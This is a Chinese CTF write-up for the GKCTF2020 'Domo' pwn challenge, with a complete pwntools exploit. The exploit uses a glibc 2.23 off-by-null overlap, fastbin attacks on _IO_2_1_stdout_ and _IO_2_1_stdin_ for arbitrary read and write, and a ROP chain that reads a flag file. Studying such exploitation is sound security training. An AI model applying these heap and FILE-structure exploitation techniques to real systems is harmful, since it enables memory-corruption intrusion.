文章目录

  • 前言
  • 一、GKCTF2020]Domo
  • 总结

前言

这篇记一下任意地址读和任意地址写

_IO_2_1_stdout_的任意地址读,_IO_write_base为读取的起始地址,_IO_write_ptr为读取的末地址,并且flag的值要得是0xfbad1800才能正常读取

_IO_2_1_stdin_的任意地址写跟_IO_2_1_stdout_的任意地址读类似,也是需要控制flag还有_IO_buf_base和_IO_buf_end。
这回除了flag、_IO_buf_base和_IO_buf_end外,其余位置用0填充即可。

一、GKCTF2020]Domo

条件:
①2.23
②off by null
③除了edit都有,edit是任意地址改一字节
这题按照作者的意思是挺麻烦的,要写挺多步骤,但实际写起来好像也没那么麻烦了 ???

add(0xf0, 'a')#0
add(0x60, 'a')#1
add(0x60, 'a')#2
add(0x60, 'a')#3
add(0xf0, 'a')#4
add(0x18, 'a')#5
add(0x18, 'a')#6
free(0)
free(3)
add(0x68, 'a'*0x60+p64(0x250))#0
free(4)
add(0xf0, 'a')#3
show(1)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 88
add(0x60, 'a')#4
add(0x60, 'a')#7
add(0x60, 'a')#8
free(0)
free(2)
show(7)
rc(0x10)
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
info('libc_base', libc_base)
environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
info('stdout', stdout)
info('stdin', stdin)
info('IO_file_jumps', IO_file_jumps)

标准的2.23的off by null堆块复用,注意这道题是固定位置会置0,所以要注意size

#------------------------------------------stdout--------------------------------------------------------
free(6)
add(0x60, 'a')#0
add(0x60, 'a')#2
free(0)
free(2)
free(7)
add(0x60, p64(stdout-0x43))#0
add(0x60, 'a')#2
add(0x60, 'a')#6
p = '\x00'*0x3+p64(0)*5+p64(IO_file_jumps)+p64(0xfbad1800)+p64(stdout+131)*3+p64(environ)+p64(environ+8)
print hex(len(p))
add(0x68, p)#7
rc(0x10)
stack_envp = uu64(rc(6))
info('stack_envp', stack_envp)
stack = stack_envp - 0xf0
info('stack', stack)

fastbin attack打_IO_2_1_stdout_,泄漏出栈地址,注意这题最多9个chunk,所以要释放掉一些不用的chunk, -0x43是为了size(0x7f)

#------------------------------------------stdin------------------------------------------------------
free(1)
free(0)
free(4)
add(0x60, p64(stdin-0x28))#4
add(0x60, 'a')#0
add(0x60, './flag\x00\x00')#1
free(5)
pop_rdi_ret=libc_base+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libc_base+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libc_base+libc.search(asm("pop rdx\nret")).next()
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(heap_addr-0xd0)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
edit(stdin-0x20,'\x7f')
p = p64(0)+p64(libc_base+libc.symbols["_IO_wfile_jumps"])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack-2)+p64(stack+0x100)
add(0x68, p)
sla('> ', '5\n'+orw)

然后fastbin attack同理打_IO_2_1_stdin_,本来-0x13的位置有个0x7f,但是写进去后面会出错,可能是因为对齐的问题?所以我们用edit来改出0x7f,然后申请chunk,完成任意写,往栈上写,覆盖v7,覆盖_libc_start_main,写入orw

完整exp:

from pwn import *
from LibcSearcher import * local_file  = './domo'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc_buu = '/root/glibc-all-in-one/libs/buu/libc-2.23.so'select = 0if select == 0:r = process(local_file)libc = ELF(local_libc)
else:r = remote('', )libc = ELF(remote_libc)elf = ELF(local_file)context.log_level = 'debug'
context.arch = elf.archse      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims            :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):gdb.attach(r,cmd)
def menu(choice):sla('> ', str(choice))
def add(size, content):menu(1)sla('size:', str(size))sea('content:', content)
def free(index):menu(2)sla('index:', str(index))
def show(index):menu(3)sla('index:', str(index))
def edit(addr, content):menu(4)sla('addr:', str(addr))sea('num:', content)
add(0xf0, 'a')#0
add(0x60, 'a')#1
add(0x60, 'a')#2
add(0x60, 'a')#3
add(0xf0, 'a')#4
add(0x18, 'a')#5
add(0x18, 'a')#6
free(0)
free(3)
add(0x68, 'a'*0x60+p64(0x250))#0
free(4)
add(0xf0, 'a')#3
show(1)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 88
add(0x60, 'a')#4
add(0x60, 'a')#7
add(0x60, 'a')#8
free(0)
free(2)
show(7)
rc(0x10)
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
info('libc_base', libc_base)
environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
info('stdout', stdout)
info('stdin', stdin)
info('IO_file_jumps', IO_file_jumps)
#------------------------------------------stdout--------------------------------------------------------
free(6)
add(0x60, 'a')#0
add(0x60, 'a')#2
free(0)
free(2)
free(7)
add(0x60, p64(stdout-0x43))#0
add(0x60, 'a')#2
add(0x60, 'a')#6
p = '\x00'*0x3+p64(0)*5+p64(IO_file_jumps)+p64(0xfbad1800)+p64(stdout+131)*3+p64(environ)+p64(environ+8)
print hex(len(p))
add(0x68, p)#7
rc(0x10)
stack_envp = uu64(rc(6))
info('stack_envp', stack_envp)
stack = stack_envp - 0xf0
info('stack', stack)
#------------------------------------------stdin------------------------------------------------------
free(1)
free(0)
free(4)
add(0x60, p64(stdin-0x28))#4
add(0x60, 'a')#0
add(0x60, './flag\x00\x00')#1
free(5)
pop_rdi_ret=libc_base+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libc_base+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libc_base+libc.search(asm("pop rdx\nret")).next()
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(heap_addr-0xd0)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
edit(stdin-0x20,'\x7f')
p = p64(0)+p64(libc_base+libc.symbols["_IO_wfile_jumps"])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack-2)+p64(stack+0x100)
add(0x68, p)
sla('> ', '5\n'+orw)
r.interactive()

总结

【八芒星计划】 _IO_2_1_stdout_和_IO_2_1_stdin_ 的任意地址读和任意地址写相关推荐

  1. 【八芒星计划】 OFF BY NULL

    八芒星计划是我为了加深自己对于pwn各种题型的理解发起的,我会将平时遇到的题型相似的题目放在同一篇文章里,方便自己和他人查阅,同时也可能会录制相关的视频,来加深自己的映像,并且把知识点更细致地讲述给大 ...

  2. socket绑定的ip为INADDR_ANY 的意义 htonl(INADDR_ANY)(0.0.0.0所有地址、不确定地址、任意地址)(htonl和htons区别)

    INADDR_ANY 表示监听0.0.0.0地址,socket只绑定端口,不绑定本主机的某个特定ip,让路由表决定传到哪个ip(0.0.0.0地址表示所有地址.不确定地址.任意地址)(一台主机中如果有 ...

  3. ipv6 全球单播地址,link-local address、site-local address、组播、任意波、EUI-64等地址的理解

    学习IPV6的时候涉及到一个概念,link-local address, 中文叫"链路本地地址",它的前缀是 FE80::/64 一个link-local address的范例: ...

  4. PbootCMS城市分站插件 生成任意城市的分站链接地址 支持分站同页跳转 实现dedecms织梦城市分站插件效果

    插件介绍 基于PbootCMS v3.1.3制作的城市分站插件.自动生成任意城市的分站链接,同时支持分站之间同页跳转. PbootCMS城市分站插件 生成任意城市的分站链接地址 支持分站同页跳转 - ...

  5. 益和VA实现任意服务器迁移,IP地址变化不再受限

    一.VA虚拟应用管理平台在 虚拟应用运行服务器 标签下 有一个重要的设置,即内网地址模式和外网地址模式,如下图:         内外网地址模式的设置加上益和VA独特的技术设计架构,让益和VA的连接异 ...

  6. 【八芒星计划】绕过canary

    本篇记录绕过canary的方法 文章目录 前言 wdb2018_guess 前言 canary的绕过方法一共有4种 ①通过read函数泄露canary.关键的一点就是read函数读取字符串的时候不会在 ...

  7. 【C 语言】数组 ( 数组相关地址 | 数组首元素地址 | 数组地址 )

    文章目录 一.数组相关地址 1.数组首元素地址 2.数组地址 二.代码示例 一.数组相关地址 数组首元素地址 与 数组地址 值相等 ; int array[10]; 其中 array + 1 的值是 ...

  8. 介绍了如何取成员函数的地址以及调用该地址

     摘要:介绍了如何取成员函数的地址以及调用该地址. 关键字:C++成员函数 this指针 调用约定 一.成员函数指针的用法 在C++中,成员函数的指针是个比较特殊的东西.对普通的函数指针来说,可以 ...

  9. fm24c16c语言程序,铁电存储器FM24C16的页面写和任意字节读汇编程序

    下面给出FM24C16的页面写和任意字节读汇编子程序.程序经过应用验证,效果良好(为保证稳定性,可以在相应地方加入空语句以延时). 页面写子程序: PAGE-WR: ACALL START_BIT M ...

最新文章

  1. git svn cygwin_exception
  2. 数据对智慧城市建设 起到极大作用
  3. openresty开发系列1--网关API架构及选型
  4. 外向或内向是基因决定的?
  5. 什么是 SAP Fiori Tools
  6. PHP的构成及生命周期
  7. 保留小数点位数和格式
  8. docker集群搭建(k8s)
  9. 2021了,你还不能玩转js正则表达式?
  10. JSP程序设计之(1)Tomcat安装及环境变量配置
  11. MT6573_FlashTool 下载的使用说明
  12. 3dmax导出fbx模型到unity
  13. 高考数学九大知识模块的易错考点【修正版】【知识体系辅导】
  14. 论文阅读笔记《Dynamic Few-Shot Visual Learning without Forgetting》
  15. SVN mac 破解版
  16. 单位弹性需求曲线形状_2021经济学考研:需求曲线形状与弹性的关系
  17. 工业机器人调运角度_FANUC/发那科搬运工业机器人R-2000iC/125L 负载125KG 臂展3100m...
  18. [dt]世纪历史长河年代表
  19. LeetCode(数据库)- 净现值查询
  20. 图文详解 新版VMware Workstation 7.0的最大特色

热门文章

  1. gitlab的最最简单使用
  2. 前端工程化项目的思考
  3. java实型_Java入门教程:浮点型(实型)数据
  4. Win10自带壁纸怎么找到源文件地址?
  5. 什么是上升沿和下降沿?
  6. swift类和结构体
  7. 信号量机制——读者-写者问题
  8. [时态]八、特殊主系表句型的构成
  9. Reggie外卖项目 —— 分类管理模块之新增分类功能
  10. 模型自身面片重合引起的闪烁破损解决方法